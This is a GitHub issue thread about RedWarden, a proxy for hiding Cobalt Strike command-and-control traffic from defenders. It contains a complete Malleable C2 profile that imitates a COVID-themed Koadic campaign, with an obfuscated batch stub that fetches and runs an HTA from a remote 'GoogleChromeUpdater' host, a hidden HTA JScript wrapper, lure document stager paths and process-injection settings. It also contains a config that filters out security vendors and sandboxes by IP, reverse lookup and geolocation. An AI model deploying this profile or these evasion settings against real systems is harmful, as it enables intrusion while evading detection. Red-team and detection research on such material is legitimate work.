mgeeky / RedWarden

Cobalt Strike C2 Reverse proxy that fends off Blue Teams, AVs, EDRs, scanners through packet inspection and malleable profile correlation
GNU General Public License v3.0
917 stars 141 forks source link

Is it using python 3.6? #1

Closed ghost closed 3 years ago

ghost commented 3 years ago

1) first error

Unexpected statement: prepend "PK.........080..W.3

----- Context -----

    output {

        netbios;

    prepend "PK.........080..W.3
             ...1.....InvoiceStatement.lnk.Z_.^G..m.j.....\".....f{...
             7..464.v7.6M..b.o.m..&.M6.
             ....\"..E..|..P.(R%.J..A.....'..9g...L>....;..;3g........B..1S..
             3.........V....v.......|.....>";

[ERROR] Parsing failed. [ERROR] Could not parse specified Malleable C2 profile!

Prepend data seems to cause problems, with c2lint its ok and already tested.

2) second error

INFO] 2021-06-02/18:14:30: Serving proxy on: http://0.0.0.0:80 ... [INFO] 2021-06-02/18:14:30: Serving proxy on: http://0.0.0.0:80 ... [INFO] 2021-06-02/18:14:30: Serving proxy on: https://0.0.0.0:443 ... Fatal error has occured. [Errno 17] File exists Traceback:

Traceback (most recent call last): File "/usr/lib/python3.8/asyncio/selector_events.py", line 259, in _add_reader key = self._selector.get_key(fd) File "/usr/lib/python3.8/selectors.py", line 192, in get_key raise KeyError("{!r} is not registered".format(fileobj)) from None KeyError: '6 is not registered'

During handling of the above exception, another exception occurred:

Traceback (most recent call last): File "RedWarden.py", line 214, in main serve_proxy(srv[0], srv[1], srv[2], srv[3]) File "RedWarden.py", line 145, in serve_proxy server.add_sockets(foosock) File "/usr/local/lib/python3.8/dist-packages/tornado/tcpserver.py", line 165, in add_sockets self._handlers[sock.fileno()] = add_accept_handler( File "/usr/local/lib/python3.8/dist-packages/tornado/netutil.py", line 282, in add_accept_handler io_loop.add_handler(sock, accept_handler, IOLoop.READ) File "/usr/local/lib/python3.8/dist-packages/tornado/platform/asyncio.py", line 150, in add_handler self.selector_loop.add_reader(fd, self._handle_events, fd, IOLoop.READ) File "/usr/lib/python3.8/asyncio/selector_events.py", line 332, in add_reader return self._add_reader(fd, callback, *args) File "/usr/lib/python3.8/asyncio/selector_events.py", line 261, in _add_reader self._selector.register(fd, selectors.EVENT_READ, File "/usr/lib/python3.8/selectors.py", line 359, in register self._selector.register(key.fd, poller_events) FileExistsError: [Errno 17] File exists

[DEBUG] 2021-06-02/18:14:30: SSL interception files cleaned up.

mgeeky commented 3 years ago

Hi,

Thanks for choosing RedWarden.

Ad 1) To troubleshoot parser issues I would need to take a look at your Malleable Profile. Can you please anonymize it and paste it here?

Ad 2) This output:

INFO] 2021-06-02/18:14:30: Serving proxy on: http://0.0.0.0:80 ...
[INFO] 2021-06-02/18:14:30: Serving proxy on: http://0.0.0.0:80 ...
[INFO] 2021-06-02/18:14:30: Serving proxy on: https://0.0.0.0:443 ...

Indicates that you already bound to 80/tcp port and you're attempting to do this twice. That may be causing error with File exists, which actually is being thrown by the Tornado webserver.

Again, providing me with your RedWarden config and malleable profile would help narrow these issues down.

Regards, Mariusz.

ghost commented 3 years ago

Hello, here is the copy of the profile and no need to anonymize(sample from GitHub for testing purposes)

Global Options

set sample_name "covid19_koadic.profile";

set sleeptime "37500"; set jitter "33"; set useragent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729";

set host_stage "true";

DNS options

dns-beacon {

Options moved into 'dns-beacon' group in 4.3:

set dns_idle             "8.8.8.8";
set dns_max_txt          "220";
set dns_sleep            "0";
set dns_ttl              "1";
set maxdns               "255";
set dns_stager_prepend   ".wwwds.";
set dns_stager_subhost   ".e2867.dsca.";

# DNS subhost override options added in 4.3:
set beacon               "d-bx.";
set get_A                "d-1ax.";
set get_AAAA             "d-4ax.";
set get_TXT              "d-1tx.";
set put_metadata         "d-1mx";
set put_output           "d-1ox.";
set ns_response          "zero";

}

SMB options

set pipename "ntsvcs"; set pipename_stager "scerpc";

TCP options

set tcp_port "8000";

SSL Options

I only saw HTTP traffic, if using HTTPS set something to not use defaults.

https-certificate {

#set keystore "your_store_file.store";
#set password "your_store_pass";

}

https-certificate {

set C "US";

set CN "whatever.com";

set L "California";

set O "whatever LLC.";

set OU "local.org";

set ST "CA";

set validity "365";

}

code-signer {

#set keystore "your_keystore.jks";
#set password "your_password";
#set alias "server";

}

HTTP-Config Block

http-config {

set headers "Server, Content-Type";

header "Content-Type" "text/html;charset=UTF-8";

header "Server" "nginx";

#

set trust_x_forwarded_for "false";

}

HTTP-GET Block

http-get {

set uri "/auto.cfg.bat";

client {

    header "Host" "216.189.145.11";
    header "Connection" "Keep-Alive";

metadata {

    base64url;
    prepend "SESSIONID=";
    header "Cookie";

}

}

server {
    header "Server" "Apache/2.2.22 (Ubuntu)";
    header "Last-Modified" "Thu, 05 Mar 2020 01:46:51 GMT";
    header "ETag" "41fc-e159-5a011b5f258c0";
    header "Accept-Ranges" "bytes";
    header "Keep-Alive" "timeout=5, max=100";
    header "Connection" "Keep-Alive";
    header "Content-Type" "application/x-msdos-program";

    output {

        netbios;

    prepend "..&@cls&@set \".n..=";

    append "\"";
    append "%.n..:~49,1%%.n..:~51,1%%.n..:~16,1%%.n..:~17,1";
    append "%.n..:~50,1%\"%.n..:~8,1%.%.n..:~53,1%%.......%";
    append "%.n..:~23,1%%.n..:~12,1%%.n..:~19,1%%.n..:~4,1%%.n..:~29,1%%.n..:~14,1%";
    append "%.n..:~45,1%%.n..:~62,1%%.n..:~50,1%%.n..:~48,1%%.n..:~56,1%";
    append "%.n..:~32,1%%.n..:~41,1%%.n..:~61,1%%.n..:~49,1%%af..O.c%%.n..:~57,1%\"";
    append "%N.lo.:~63,1%%N.lo.:~48,1%%N.lo.:~57,1%%N.lo.:~0,1%%N.lo.:~51,1%";
    append "%N.lo.:~1,1%%N.lo.:~10,1%%N.lo.:~37,1%%N.lo.:~42,1%%N.lo.:~58,1";
    append "%N.lo.:~8,1%%N.lo.:~59,1%%...A...%%N.lo.:~30,1%%N.lo.:~22,1%%\n";
    append "%..h:~26,1%%..h:~7,1%%..h:~14,1%%..h:~54,1%%..h:~59,1%\"%..h:~14,1";
    append "%..h:~55,1%%..h:~41,1%..=%..h:~39,1%%..h:~36,1%%..h:~55,1%%..h:~27,1";
    append "%..h:~29,1%%..h:~7,1%%..h:~8,1%%..h:~56,1%%..h:~22,1%%mUFZ.qO\n";
    append "%emq..:~25,1%%emq..:~4,1%%emq..:~50,1%%emq..:~37,1%%emq..:~11,1";
    append "%emq..:~61,1%%emq..:~14,1%%X.bP.A.%%emq..:~45,1%%emq..:~27,1";
    append "%emq..:~42,1%%emq..:~41,1%%emq..:~2,1%%emq..:~35,1%%emq..:~15,1\n";
    append "%..O..:~22,1%%..O..:~13,1%%..O..:~40,1%=%..O..:~49,1%%..O..:~37,1%";
    append "%..O..:~42,1%%..O..:~1,1%%..y.EKZ%%..O..:~58,1%%..O..:~10,1";
    append "%..O..:~45,1%%..O..:~36,1%%..O..:~40,1%%..O..:~11,1%%..O..:~44,1%";
    append "%..O..:~63,1%%..O..:~53,1%%..O..:~4,1%%..O..:~41,1%%..O..:~0,1\n";
    append "%.cgK:~48,1%%.cgK:~43,1%%.cgK:~36,1%%.cgK:~45,1%%.cgK:~18,1%\"...";
    append "%.cgK:~1,1%=%.cgK:~43,1%%.cgK:~58,1%%.cgK:~57,1%%.cgK:~47,1%";
    append "%.cgK:~20,1%%.cgK:~63,1%%.cgK:~42,1%%.cgK:~54,1%%.cgK:~3,1%%.cgK:~27,1%";
    append "%.cgK:~19,1%%.cgK:~18,1%%.cgK:~50,1%%.cgK:~17,1%%.cgK:~53,1%\n";
    append "%..S.m:~46,1%%..S.m:~46,1%%..S.m:~50,1%/%..S.m:~4,1%%..S.m:~40,1%";
    append "%..S.m:~50,1%'%..S.m:~45,1%%..S.m:~63,1%%..S.m:~31,1%%..S.m:~27,1%";
    append "%..S.m:~29,1%%..S.m:~50,1%%..S.m:~31,1%%..S.m:~27,1%%..S.m:~27,1%";
    append "%..S.m:~58,1%:\\Program%..S.m:~50,1%%..S.m:~46,1%%..S.m:~17,1%%..S.m:~13,1%%..S.m:~44,1%%..S.m:~63,1%%..S.m:~47,1%%..S.m:~17,1%%..S.m:~61,1%%..S.m:~7,1%%..S.m:~28,1%%....Y..%%..S.m:~63,1%%..S.m:~28,1%%..S.m:~25,1%%..S.m:~27,1%%..S.m:~50,1%%..S.m:~54,1%%..S.m:~44,1%%..S.m:~61,1%%..S.m:~26,1%%..S.m:~7,1%%..S.m:~17,1%%..S.m:~27,1%%..S.m:~5,1%%..S.m:~50,1%%..S.m:~58,1%%..S.m:~13,1%%..S.m:~17,1%%..S.m:~44,1%%.IELFnR%%..S.m:~11,1%%..S.m:~27,1%%..S.m:~63,1%%..S.m:~44,1%\n";
    append "%..S.m:~45,1%%..S.m:~63,1%%..S.m:~31,1%%..S.m:~27,1%%..S.m:~29,1%%..MNvzZ%%..S.m:~50,1%%..S.m:~31,1%%..S.m:~27,1%%..S.m:~27,1%%..S.m:~52,1%://GoogleChromeUpdater.twilightparadox.com:448/html\n";
    append "{%..S.m:~50,1%%..S.m:~63,1%%..S.m:~61,1%%..S.m:~31,1%%..S.m:~27,1%%BAJM..s%%..S.m:~29,1%%..S.m:~63,1%%..S.m:~1,1%%..S.m:~63,1%%..S.m:~50,1%/%..S.m:~61,1%%..S.m:~7,1%%..S.m:~44,1%%..S.m:~29,1%%..S.m:~27,1%%..S.m:~44,1%%..S.m:~50,1%%Q.G.X..%/%..S.m:~4,1%%..S.m:~35,1%%..S.m:~50,1%%..S.m:~30,1%%..S.m:~26,1%%..S.m:~27,1%%..S.m:~28,1%%..S.m:~45,1%%..S.m:~29,1%%..S.m:~27,1%%..S.m:~17,1%%..S.m:~61,1%%..S.m:~58,1%%..S.m:~31,1%%..S.m:~7,1%%..S.m:~28,1%%..S.m:~29,1%%..S.m:~50,1%%..S.m:~31,1%%..S.m:~27,1%%..S.m:~27,1%%..S.m:~52,1%://GoogleChromeUpdater.twilightparadox.com:448/html'%..S.m:~50,1%/%..S.m:~54,1%%..S.m:~58,1%%..S.m:~50,1%%..S.m:~45,1%%..S.m:~17,1%%..S.m:~11,1%%..S.m:~26,1%%..S.m:~27,1%%..S.m:~44,1%%..S.m:~50,1%%u.D....%/%..S.m:~45,1%%..S.m:~28,1%%..S.m:~50,1%%..jo...%%..S.m:~8,1%%..S.m:~10,1%%V.t.I..%}";

        print;
    }
}

}

HTTP-GET VARIANT

http-get "variant_runhtml" {

set uri "/HTML"; 

client {

    header "Accept" "*/*";
    header "Host" "googlechromeupdater.twilightparadox.com:448";
    header "Connection" "Keep-Alive";

metadata {

base64url;
parameter "T8CZ8I99GN";

}

parameter "50A5DMT1H2" "4de0613ada094a9da7843ced5f13403c;\\..\\..\\..\\./mshtml,RunHTMLApplication";

}

server {

    header "Server" "Apache";

    output {
        netbios;

        prepend "function HddnzGqisJrusLHIZYYC(HGGiTYMzde,sLZQEvXCZyyFu){var eMSnPEGHOaoxNNBH='";
        prepend "catch (e) {}\n\n";
        prepend "}\n";
        prepend "    window.onfocus = function() { window.blur(); }\n";
        prepend "    window.onerror = function(sMsg, sUrl, sLine) { return false; }\n";
        prepend " {\n";
        prepend "try\n\n";
        prepend "window.resizeTo(2, 4);\n";
        prepend "window.blur();\n";
        prepend "window.moveTo(-1337, -2019);\n";
        prepend "<script language=\"JScript\">\n";
        prepend "<head>\n";
        prepend "<html>\n";

        append "'\n";         
        append "</script>\n";
        append "<hta:application caption=\"no\" windowState=\"minimize\" showInTaskBar=\"no\"\n";
        append "        scroll=\"no\" navigable=\"no\" />\n";
        append "        <!-- -->\n";
        append "</head>\n";
        append "<body>\n";
        append "</body>\n";
        append "</html>";

        print;
    }

}

}

HTTP-Post Block

exfiltrates data from host.

http-post {

set uri "/html";
#set verb "GET";
set verb "POST";

client {

header "Accept" "*/*";
header "Referer" "http://googlechromeupdater.twilightparadox.com:448/html";
header "encoder" "1252";
header "shellchcp" "437";
header "Host" "googlechromeupdater.twilightparadox.com:448";

    output {
        base64url;
    parameter "T8CZ8I99GN";

    }

    id {
    base64url;
    parameter "50A5DMT1H2";

    }
}

server {

    header "Server" "Apache";

    output {
        netbios;
        print;
    }
}

}

HTTP-Stager Block

http-stager {

set uri_x86 "/RECOMMENDATIONS_CORONAVIRUS.doc";
set uri_x64 "/Recommendations_Coronavirus.doc";

client {

    header "Host" "216.189.145.11";
    header "Connection" "Keep-Alive";

}

server {

    header "Server" "Apache/2.2.22 (Ubuntu)";
    header "Keep-Alive" "timeout=5, max=100";
    header "Connection" "Keep-Alive";

output {

    print;
}

}

}

Malleable PE/Stage Block

filled this out best I could.

stage { set checksum "0"; set compile_time "04 Mar 2020 17:56:00"; set entry_point "170000"; set image_size_x86 "740000"; set image_size_x64 "740000";

set name "WWanMM.dll";

set userwx          "false";
set cleanup         "false";
set sleep_mask  "false";
set stomppe         "false";
set obfuscate   "false";
set rich_header     "";

set sleep_mask "false";

#set module_x86 "wwanmm.dll";
#set module_x64 "wwanmm.dll";

transform-x86 {
    #prepend "\x90\x90\x90";
    strrep "ReflectiveLoader" "";
    strrep "beacon.dll" "";
    }

transform-x64 {
    #prepend "\x90\x90\x90";
    strrep "ReflectiveLoader" "";
    strrep "beacon.x64.dll" "";
    }

#from yara strings = https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic
string "{ e8???????? 8b54242c e8???????? 8b15???????? 011424 e8???????? }";
string "{ 50 e8???????? 6800080000 ff742404 e8???????? ff3424 }";
string "{ a3???????? ff7504 58 a3???????? ff7508 58 a3???????? }";
string "{ 56 6a20 57 e8???????? 83c40c c6043700 }";
string "{ 52 e8???????? eb7f 6a08 50 }";
string "{ e8???????? 7512 ff3424 ba32204100 59 e8???????? 7502 }";
string "{ 31c0 50 6834204100 ff35???????? }";

}

Process Inject Block

process-inject {

#set allocator "NtMapViewOfSection";        

set min_alloc "16700";

set userwx "false";  

set startrwx "false";

transform-x86 {
    #prepend "\x90\x90\x90";
}
transform-x64 {
    #prepend "\x90\x90\x90";
}

execute {
    CreateThread;
    CreateRemoteThread;       

    CreateThread "ntdll.dll!RtlUserThreadStart+0x1000";

    SetThreadContext;

    NtQueueApcThread-s;

    #NtQueueApcThread;

    CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";

    RtlCreateUserThread;
}

}

Post-Ex Block

post-ex {

set spawnto_x86 "%windir%\\syswow64\\rundll32.exe";
set spawnto_x64 "%windir%\\sysnative\\rundll32.exe";

set obfuscate "false";

set smartinject "false";

set amsi_disable "false";

}

***. >>>>>Nothing is listening on 80 before launching Redwarden, weird file exists error.

2) the config.yaml

#

This is a sample config file for RedWarden.

#

#

====================================================

General proxy related settings

====================================================

#

Print verbose output. Implied if debug=True. Default: False

verbose: True

Print debugging output that includes HTTP request/response trace. Default: False

debug: True

Redirect RedWarden's output to file. Default: stdout.

Creates a file in the same directory that this config file is situated.

output: redwarden_redirector.log

Write web server access attempts in Apache2 access.log format into this file.

access_log: redwarden_access.log

If 'output' is specified, tee program's output to file and stdout at the same time.

Default: False

tee: True

#

Ports on which RedWarden should bind & listen

# port:

#

SSL certificate CAcert (pem, crt, cert) and private key CAkey

#

ssl_cacert: /etc/letsencrypt/live/attacker.com/fullchain.pem

ssl_cakey: /etc/letsencrypt/live/attacker.com/privkey.pem

#

Drop invalid HTTP requests

#

If a stream that doesn't resemble valid HTTP protocol reaches RedWarden listener,

should we drop it or process it? By default we drop it.

#

Default: True

# drop_invalid_http_requests: True

#

Path to the Malleable C2 profile file.

If not given, most of the request-validation logic won't be used.

# profile: covid.profile

#

(Required) Address where to redirect legitimate inbound beacon requests.

A.k.a. TeamServer's Listener bind address, in a form of:

[inport:][http(s)://]host:port

#

If RedWarden was configured to listen on more than one port, specifying "inport" will

help the plugin decide to which teamserver's listener redirect inbound request.

#

If 'inport' values are not specified in the below option (teamserver_url) the script

will pick destination teamserver at random.

#

Having RedWarden listening on only one port does not mandate to include the "inport" part.

This field can be either string or list of strings.

# teamserver_url:

#

Report only instead of actually dropping/blocking/proxying bad/invalid requests.

If this is true, will notify that the request would be block if that option wouldn't be

set.

#

Default: False

# report_only: False

#

Log full bodies of dropped requests.

#

Default: False

# log_dropped: False

#

Throttle down number of log entries emitted for single Peer to lower I/O overhead.

#

When you operate your Beacon in interactive mode, the RedWarden can go crazy with logging

all of the allowed requests. We can throttle that down to minimize I/O and CPU impact.

#

This option specifies number of seconds to wait before adding next log entry for specific IP,

regardless of whether it was allowed or dropped.

#

Default:

log_request_delay: 60

requests_threshold: 3

# throttle_down_peer_logging: log_request_delay: 60 requests_threshold: 3

#

What to do with the request originating not conforming to Beacon, whitelisting or

ProxyPass inclusive statements:

- 'redirect' it to another host with (HTTP 301),

- 'reset' a TCP connection with connecting client

- 'proxy' the request, acting as a reverse-proxy against specified action_url

(may be dangerous if client fetches something it shouldn't supposed to see!)

#

Valid values: 'reset', 'redirect', 'proxy'.

#

Default: redirect

# drop_action: redirect

#

If someone who is not a beacon hits the proxy, or the inbound proxy does not meet

malleable profile's requirements - where we should proxy/redirect his requests.

The protocol HTTP/HTTPS used for proxying will be the same as originating

requests' protocol. Redirection in turn respects protocol given in action_url.

#

This value may be a comma-separated list of hosts, or a YAML array to specify that

target action_url should be picked at random:

action_url: https://google.com, https://gmail.com, https://calendar.google.com

#

Default: https://google.com

# action_url:

#

ProxyPass alike functionality known from mod_proxy.

#

If inbound request matches given conditions, proxy that request to specified host,

fetch response from target host and return to the client. Useful when you want to

pass some requests targeting for instance attacker-hosted files onto another host, but

through the one protected with malleable_redirector.

#

Protocol used for ProxyPass will match the one from originating request unless specified explicitely.

If host part contains http:// or https:// schema - that schema will be used.

Syntax:

proxy_pass:

- /url_to_be_passed example.com

- /url_to_be_passed_onto_http http://example.com

#

The first parameter 'url' is a regex (case-insensitive). Must start with '/'.

The regex begin/end operators are implied and will constitute following regex to be

matched against inbound request's URL:

'^/' + url_to_be_passed + '$'

#

Here are the URL rewriting rules:

Example, inbound request:

https://attacker.com/dl/file-to-be-served.txt

#

Rules:

a) Entire URL to be substituted for proxy pass:

proxy_pass:

- /dl/.+ https://localhost:8888/

====> will redirect to https://localhost:8888/

#

b) Only host to be substituted for proxy pass:

proxy_pass:

- /dl/.+ localhost:8888

====> will redirect to https://localhost:8888/dl/file-to-be-served.txt

#

Following options are supported:

- nodrop - Process this rule at first, before evaluating any DROP-logic.

Does not let processed request to be dropped.

#

Default: No proxy pass rules.

# proxy_pass:

These are example proxy_pass definitions:

- /foobar\d* bing.com

- /myip http://ip-api.com/json/

- /alwayspass google.com nodrop

#

If set, removes all HTTP headers sent by Client that are not expected by Teamserver according

to the supplied Malleable profile and its client { header ... } section statements. Some CDNs/WebProxy

providers such as CloudFlare may add tons of their own metadata headers (like: CF-IPCountry, CF-RAY,

CF-Visitor, CF-Request-ID, etc.) that can make Teamserver unhappy about inbound HTTP Request which could

cause its refusal.

#

We can strip all of these superfluous, not expected by Teamserver HTTP headers delivering a vanilla plain

request. This is recommended setting in most scenarios.

#

Do note however, that Teamserver by itself ignores superfluous headers it receives in requests, as long as they

don't compromise integrity of the malleable transaction.

#

Default: True

# remove_superfluous_headers: True

#

Every time malleable_redirector decides to pass request to the Teamserver, as it conformed

malleable profile's contract, a MD5 sum may be computed against that request and saved in sqlite

file. Should there be any subsequent request evaluating to a hash value that was seen & stored

previously, that request is considered as Replay-Attack attempt and thus should be banned.

#

CobaltStrike's Teamserver has built measures aginst replay-attacks, however malleable_redirector may

assist in that activity as well.

#

Default: False

# mitigate_replay_attack: True

#

List of whitelisted IP addresses/CIDR ranges.

Inbound packets from these IP address/ranges will always be passed towards specified TeamServer without

any sort of verification or validation.

# whitelisted_ip_addresses:

#

Maintain a volatile, dynamic list of whitelisted Peers (IPv4 addresses) based on a number of requests

they originate that were allowed and passed to Teamserver.

#

This option cuts down request processing time since whenever a request coming from a previously whitelisted

peers gets processed, it will be accepted right away having observed that the peer was allowed to pass

N requests to the Teamserver on a previous occassions.

#

This whitelist gets cleared along with RedWarden being terminated. It is only held up in script's memory.

Paramters:

- number_of_valid_http_get_requests: defines number of successful http-get requests (polling Teamserver)

that determine whether Peer can be trusted.

- number_of_valid_http_post_requests: defines number of successful http-post requests (sending command

results to the TS) that determine whether Peer can be trusted.

#

Value of 0 denotes disabled counting of a corresponding type of requests.

Function disabled if configuration option is missing.

#

Default: (dynamic whitelist enabled)

number_of_valid_http_get_requests: 15

number_of_valid_http_post_requests: 5

# add_peers_to_whitelist_if_they_sent_valid_requests: number_of_valid_http_get_requests: 15 number_of_valid_http_post_requests: 5

#

Ban peers based on their IPv4 address. The blacklist with IP address to check against is specified

in 'ip_addresses_blacklist_file' option.

#

Default: True

# ban_blacklisted_ip_addresses: True

#

Specifies external list of CIDRs with IPv4 addresses to ban. Each entry in that file

can contain a single IPv4, a CIDR or a line with commentary in following format:

1.2.3.4/24 # Super Security System

#

Default: data/banned_ips.txt

# ip_addresses_blacklist_file: data/banned_ips.txt

#

Specifies external list of keywords to ban during reverse-IP lookup, User-Agents or

HTTP headers analysis stage. The file can contain lines beginning with '#' to mark comments.

#

Default: data/banned_words.txt

# banned_agents_words_file: data/banned_words.txt

#

Specifies external list of phrases that should override banned phrases in case of ambiguity.

If the request was to be banned because of a ambigue phrase, the override agents file can

make the request pass blocking logic if it contained "allowed" phrase.

#

Default: data/banned_words_override.txt

# override_banned_agents_file: data/banned_words_override.txt

#

Ban peers based on their IPv4 address' resolved ISP/Organization value or other details.

Whenever a peer connects to our proxy, we'll take its IPv4 address and use one of the specified

APIs to collect all the available details about the address. Whenever a banned word

(of a security product) is found in those details - peer will be banned.

List of API keys for supported platforms are specified in ''. If there are no keys specified,

only providers that don't require API keys will be used (e.g. ip-api.com, ipapi.co)

#

This setting affects execution of policy:

- drop_ipgeo_metadata_containing_banned_keywords

#

Default: True

# verify_peer_ip_details: True

#

Specifies a list of API keys for supported API details collection platforms.

If 'verify_peer_ip_details' is set to True and there is at least one API key given in this option, the

proxy will collect details of inbound peer's IPv4 address and verify them for occurences of banned words

known from various security vendors. Do take a note that various API details platforms have their own

thresholds for amount of lookups per month. By giving more than one API keys, the script will

utilize them in a random order.

#

To minimize number of IP lookups against each platform, the script will cache performed lookups in an

external file named 'ip-lookups-cache.json'

#

Supported IP Lookup providers:

- ip-api.com: No API key needed, free plan: 45 requests / minute

- ipapi.co: No API key needed, free plan: up to 30000 IP lookups/month and up to 1000/day.

- ipgeolocation.io: requires an API key, up to 30000 IP lookups/month and up to 1000/day.

#

Default: empty dictionary

# ip_details_api_keys:

ipgeolocation_io: 0123456789abcdef0123456789abcdef

ipgeolocation_io:

#

Restrict incoming peers based on their IP Geolocation information.

Available only if 'verify_peer_ip_details' was set to True.

IP Geolocation determination may happen based on the following supported characteristics:

- organization,

- continent,

- continent_code,

- country,

- country_code,

- city,

- timezone

#

The Peer will be served if at least one geolocation condition holds true for him

(inclusive/alternative arithmetics).

#

If no determinants are specified, IP Geolocation will not be taken into consideration while accepting peers.

If determinants are specified, only those peers whose IP address matched geolocation determinants will be accepted.

#

Each of the requirement values may be regular expression. Matching is case-insensitive.

#

Following (continents_code, continent) pairs are supported:

('AF', 'Africa'),

('AN', 'Antarctica'),

('AS', 'Asia'),

('EU', 'Europe'),

('NA', 'North america'),

('OC', 'Oceania'),

('SA', 'South america)'

#

Proper IP Lookup details values can be established by issuing one of the following API calls:

$ curl -s 'https://ipapi.co/TARGET-IP-ADDRESS/json/'

$ curl -s 'http://ip-api.com/json/TARGET-IP-ADDRESS'

#

The organization/isp/as/asn/org fields will be merged into a common organization list of values.

# ip_geolocation_requirements: organization:

- My\s+Target+Company(?: Inc.)?

continent: continent_code: country: country_code: city: timezone:

#

Fine-grained requests dropping policy - lets you decide which checks

you want to have enforced and which to skip by setting them to False

#

Default: all checks enabled

# policy:

[IP: ALLOW, reason:0] Request conforms ProxyPass entry (url="..." host="..."). Passing request to specified host

allow_proxy_pass: True

[IP: ALLOW, reason:2] Peer's IP was added dynamically to a whitelist based on a number of allowed requests

allow_dynamic_peer_whitelisting: True

[IP: DROP, reason:1] inbound User-Agent differs from the one defined in C2 profile.

drop_invalid_useragent: True

[IP: DROP, reason:2] HTTP header name contained banned word

drop_http_banned_header_names: True

[IP: DROP, reason:3] HTTP header value contained banned word:

drop_http_banned_header_value: True

[IP: DROP, reason:4b] peer's reverse-IP lookup contained banned word

drop_dangerous_ip_reverse_lookup: True

[IP: DROP, reason:4e] Peer's IP geolocation metadata contained banned keyword! Peer banned in generic fashion.

drop_ipgeo_metadata_containing_banned_keywords: True

[IP: DROP, reason:5] HTTP request did not contain expected header

drop_malleable_without_expected_header: True

[IP: DROP, reason:6] HTTP request did not contain expected header value:

drop_malleable_without_expected_header_value: True

[IP: DROP, reason:7] HTTP request did not contain expected (metadata|id|output) section header:

drop_malleable_without_expected_request_section: True

[IP: DROP, reason:8] HTTP request was expected to contain (metadata|id|output) section with parameter in URI:

drop_malleable_without_request_section_in_uri: True

[IP: DROP, reason:9] Did not found append pattern:

drop_malleable_without_prepend_pattern: True

[IP: DROP, reason:10] Did not found append pattern:

drop_malleable_without_apppend_pattern: True

[IP: DROP, reason:11] Requested URI does not aligns any of Malleable defined variants:

drop_malleable_unknown_uris: True

[IP: DROP, reason:12] HTTP request was expected to contain <> section with URI-append containing prepend/append fragments

drop_malleable_with_invalid_uri_append: True

#

If RedWarden validates inbound request's HTTP headers, according to policy drop_malleable_without_expected_header_value:

"[IP: DROP, reason:6] HTTP request did not contain expected header value:"

#

and senses some header is missing or was overwritten along the wire, the request will be dropped. We can relax this policy

a bit however, since there are situations in which Cache systems (such as Cloudflare) could tamper with our requests thus

breaking Malleable contracts. What we can do is to specify list of headers, that should be overwritten back to their values

defined in provided Malleable profile.

#

So for example, if our profile expects:

header "Accept-Encoding" "gzip, deflate";

#

but we receive a request having following header set instead:

Accept-Encoding: gzip

#

Because it was tampered along the wire by some of the interim systems (such as web-proxies or caches), we can

detect that and set that header's value back to what was expected in Malleable profile.

#

In order to protect Accept-Encoding header, as an example, the following configuration could be used:

protect_these_headers_from_tampering:

# - Accept-Encoding

# #

Default:

#

protect_these_headers_from_tampering:

- Accept-Encoding

#

Malleable Redirector plugin can act as a basic oracle API responding to calls

containing full request contents with classification whether that request would be

blocked or passed along. The API may be used by custom payload droppers, HTML Smuggling

payloads or any other javascript-based landing pages.

#

The way to invoke it is as follows:

1. Issue a POST request to the RedWarden server with the below specified URI in path.

2. Include following JSON in your POST request:

#

POST /malleable_redirector_hidden_api_endpoint

Content-Type: application/json

#

{

"peerIP" : "IP-of-connecting-Peer",

"headers" : {

"headerName1" : "headerValue1",

...

"headerNameN" : "headerValueN",

},

}

If "peerIP" is empty (or was not given), RedWarden will try to extract peer's IP from HTTP

headers such as (X-Forwarded-For, CF-Connecting-IP, X-Real-IP, etc.). If no IP will be present

in headers, an error will be returned.:

#

HTTP 404 Not Found

{

"error" : "number",

"message" : "explanation"

}

#

RedWarden will take any non-empty field from a given JSON and evaluate it as it would do

under currently provided configuration and all the knowledge it possesses.

The response will contain following JSON:

#

{

"action": "allow|drop",

"peerIP" : "returned-peerIP",

"ipgeo" : {ip-geo-metadata-extracted}

"message": "explanation",

"reason": "reason",

"drop_type": "proxy|reset|redirect",

"action_url": ["proxy-URL-1|redirect-URL-1", ..., "proxy-URL-N|redirect-URL-N"]

}

#

Availbale Allow/Drop reasons for this endpoint:

ALLOW:

- Reason: 99 - Peer IP and HTTP headers did not contain anything suspicious

- Reason: 1 - peer's IP address is whitelisted

- Reason: 2 - Peer's IP was added dynamically to a whitelist based on a number of allowed requests

DROP:

- Reason: 2 - HTTP header name contained banned word

- Reason: 3 - HTTP header value contained banned word

- Reason: 4a - Peer's IP address is blacklisted

- Reason: 4b - Peer's reverse-IP lookup contained banned word

- Reason: 4c - Peer's IP lookup organization field contained banned word

- Reason: 4d - Peer's IP geolocation DID NOT met expected conditions

- Reason: 4e - Peer's IP geolocation metadata contained banned keyword! Peer banned in generic fashion

#

Sample curl to debug:

$ curl -sD- --request POST --data "{\"headers\":{\"Accept\": \"/\", \"Sec-Fetch-Site\": \"same-origin\", \

\"Sec-Fetch-Mode\": \"no-cors\", \"Sec-Fetch-Dest\": \"script\", \"Accept-Language\": \"en-US,en;q=0.9\", \

\"Cookie\": \"__cfduid2=cHux014r17SG3v4gPUrZ0BZjDabMTY2eWDj1tuYdREBg\", \"User-Agent\": \

\"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko\"}}" \

https://attacker.com/12345678-9abc-def0-1234-567890abcdef

#

Default: Turned off / not available

#

malleable_redirector_hidden_api_endpoint: /12345678-9abc-def0-1234-567890abcdef

mgeeky commented 3 years ago

Can you please edit your comment to apply proper code formatting, so that it reads better?

Thanks for your time and consideration.

I'm leaving for a vaction now, but will get back to your issue at the end of the month, so please be patient.

Regards, Mariusz.

mgeeky commented 3 years ago

Hi,

I've addressed the first issue that you raised with multi-line prepend/append instructions being incorrectly parsed. That's addressed by commit 38acbab.

Please let me know if problem remains.

Regards, M.